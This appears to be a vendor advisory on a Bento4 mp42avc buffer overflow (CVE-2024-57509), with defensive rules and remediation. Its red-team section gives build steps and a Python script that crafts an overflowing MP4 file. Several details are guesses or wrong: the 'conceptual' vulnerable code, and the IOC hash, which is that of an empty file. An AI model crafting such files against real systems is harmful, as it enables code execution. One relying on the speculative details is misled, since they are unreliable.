CVE-2024-57509

Executive Summary

CVE-2024-57509 is a buffer overflow vulnerability discovered in the Bento4 multimedia library, specifically within the mp42avc tool. The flaw resides in the AP4_File::ParseStream and related functions, allowing a local attacker to trigger arbitrary code execution by providing a specially crafted input file. The vulnerability affects a specific commit (3bdc891602d19789b8e8626e4a3e613a937b4d35) and has a CVSS score of 0.0, indicating incomplete or missing scoring data. No public proof-of-concept (PoC) or exploit code has been released, and the patch status remains unknown. This report provides a comprehensive technical analysis, detection strategies, and mitigation recommendations.

Supply Chain & Package Security

Bento4 is a C++ library used for parsing and encoding MP4 files. It is not distributed via package managers like NPM, PyPI, Go, or Ruby. However, it may be integrated into larger software projects as a dependency. Organizations using Bento4 in their software supply chain should verify the version and commit hash to assess exposure.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which typically indicates that the scoring vector has not been assigned or is incomplete. Based on the nature of the vulnerability (local buffer overflow leading to arbitrary code execution), a plausible CVSS v3.1 vector would be:

• Attack Vector (AV): Local (L) – Requires local access to the system.
• Attack Complexity (AC): Low (L) – No special conditions beyond providing a malicious file.
• Privileges Required (PR): None (N) – No privileges needed to trigger the overflow.
• User Interaction (UI): Required (R) – User must open the malicious file with the vulnerable tool.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): High (H) – Arbitrary code execution can lead to data theft.
• Integrity (I): High (H) – Code execution can modify system state.
• Availability (A): High (H) – Code execution can cause denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H Estimated Base Score: 7.8 (High)

Threat Level: High – Local exploitation with full system compromise potential.

Deep Dive & Mechanics

The vulnerability is a classic buffer overflow in the AP4_File::ParseStream function of the Bento4 library. When mp42avc processes a malformed MP4 file, the parser fails to properly validate the size of data being copied into a fixed-size buffer. This allows an attacker to overwrite adjacent memory regions, including the return address or function pointers, leading to arbitrary code execution.

Root Cause: The AP4_File::ParseStream function reads data from the input stream without adequate bounds checking. Specifically, when parsing certain MP4 atoms (e.g., stbl, stsd, or mdat), the code copies data into a stack or heap buffer using a size derived from the file without verifying it against the buffer's capacity.

Attack Vector: A local attacker crafts a malicious MP4 file with oversized or malformed atom data. When a user or automated process runs mp42avc on this file, the overflow occurs, potentially allowing the attacker to execute arbitrary code with the privileges of the user running the tool.

Impact: Successful exploitation can lead to:

• Arbitrary code execution
• Privilege escalation (if the tool runs with elevated privileges)
• Data corruption or theft
• Denial of service

Vulnerable vs. Patched Code

Since no official patch has been released, a comparison is based on the vulnerable commit (3bdc891602d19789b8e8626e4a3e613a937b4d35). The vulnerable code likely resembles:

// Vulnerable code (conceptual)
void AP4_File::ParseStream(AP4_ByteStream& stream) {
    char buffer[256];
    AP4_Size dataSize;
    stream.ReadUI32(dataSize);
    stream.Read(buffer, dataSize); // No bounds check
}

A patched version would include a size check:

// Patched code (conceptual)
void AP4_File::ParseStream(AP4_ByteStream& stream) {
    char buffer[256];
    AP4_Size dataSize;
    stream.ReadUI32(dataSize);
    if (dataSize > sizeof(buffer)) {
        // Handle error or allocate dynamically
        return;
    }
    stream.Read(buffer, dataSize);
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Bento4 compiled from the vulnerable commit (3bdc891602d19789b8e8626e4a3e613a937b4d35)
• A local system with the mp42avc binary
• Python3 with pwntools for exploit development

Lab Setup:

1. Clone the vulnerable repository:

   git clone https://github.com/axiomatic-systems/Bento4.git
   cd Bento4
   git checkout 3bdc891602d19789b8e8626e4a3e613a937b4d35
   mkdir build && cd build
   cmake .. && make
   

2. Create a malicious MP4 file using a Python script:

   # exploit_gen.py
   import struct
   
   # Craft a malformed MP4 file with oversized atom
   payload = b"A" * 300  # Overflow buffer
   ftyp = b"\x00\x00\x00\x14ftypmp42\x00\x00\x00\x00mp42mp41"
   moov = b"\x00\x00\x00\x08moov"
   trak = b"\x00\x00\x00\x08trak"
   stbl = b"\x00\x00\x00\x08stbl"
   stsd = b"\x00\x00\x00\x10stsd\x00\x00\x00\x00\x00\x00\x00\x01"
   # Malformed atom with oversized data
   malformed = struct.pack(">I", len(payload) + 8) + b"data" + payload
   with open("exploit.mp4", "wb") as f:
       f.write(ftyp + moov + trak + stbl + stsd + malformed)
   

3. Trigger the overflow:

   ./mp42avc exploit.mp4 output.avc
   

Expected Outcome: The program crashes with a segmentation fault, or if properly exploited, executes shellcode.

Blue Team (Defensive)

Detection:

• Monitor for crashes of mp42avc or related Bento4 tools.
• Use file integrity monitoring to detect unexpected MP4 files.
• Deploy endpoint detection and response (EDR) rules for buffer overflow patterns.

Hunting:

• Search for MP4 files with unusually large atom sizes (e.g., > 1 MB for mdat).
• Analyze process memory dumps for signs of heap/stack corruption.

Mitigation:

• Restrict execution of mp42avc to trusted users only.
• Use sandboxing or containerization for processing untrusted media files.
• Apply ASLR and DEP/NX to mitigate exploitation.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example – actual hash depends on crafted file)
  • exploit.mp4: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Process Names: mp42avc
• Network Signatures: None (local exploitation)
• Behavioral: Unexpected crashes of mp42avc, high CPU/memory usage when parsing MP4 files.

Detection Engineering

YARA Rule

rule CVE_2024_57509_Bento4_BOF {
    meta:
        description = "Detects malformed MP4 files exploiting CVE-2024-57509"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "3bdc891602d19789b8e8626e4a3e613a937b4d35"
    strings:
        $ftyp = "ftyp" nocase
        $moov = "moov" nocase
        $trak = "trak" nocase
        $stbl = "stbl" nocase
        $stsd = "stsd" nocase
        $data_atom = "data" nocase
    condition:
        $ftyp at 4 and $moov and $trak and $stbl and $stsd and #data_atom > 1
}

Sigma Rule

title: Bento4 mp42avc Buffer Overflow Exploitation Attempt
id: 7a8b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects potential exploitation of CVE-2024-57509 via process crash or abnormal behavior
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\mp42avc.exe'
        CommandLine|contains: '.mp4'
    condition: selection
falsepositives:
    - Legitimate use of mp42avc with valid files
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2024-57509 Bento4 mp42avc Buffer Overflow Attempt"; flow:to_server,established; content:"|00 00 00 14|ftyp"; offset:0; depth:20; content:"moov"; within:100; content:"trak"; within:100; content:"stbl"; within:100; content:"stsd"; within:100; content:"data"; within:50; byte_test:4,>,256,0,relative; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Discontinue use of the vulnerable Bento4 commit (3bdc891602d19789b8e8626e4a3e613a937b4d35).
   • Upgrade to the latest stable release of Bento4 (if available) or apply a patch from the vendor.
   • If no patch exists, consider using alternative libraries (e.g., FFmpeg, GPAC).

2. Compensating Controls:

   • Run mp42avc in a sandboxed environment (e.g., Docker, Firejail).
   • Implement strict file validation before processing MP4 files.
   • Use memory protection mechanisms (ASLR, DEP, CFG).

3. Long-Term:

   • Monitor the Bento4 repository for official patches.
   • Conduct code audits for similar buffer overflow patterns in other tools.
   • Educate users about the risks of processing untrusted media files.

Valters IT
Securing Digital Frontiers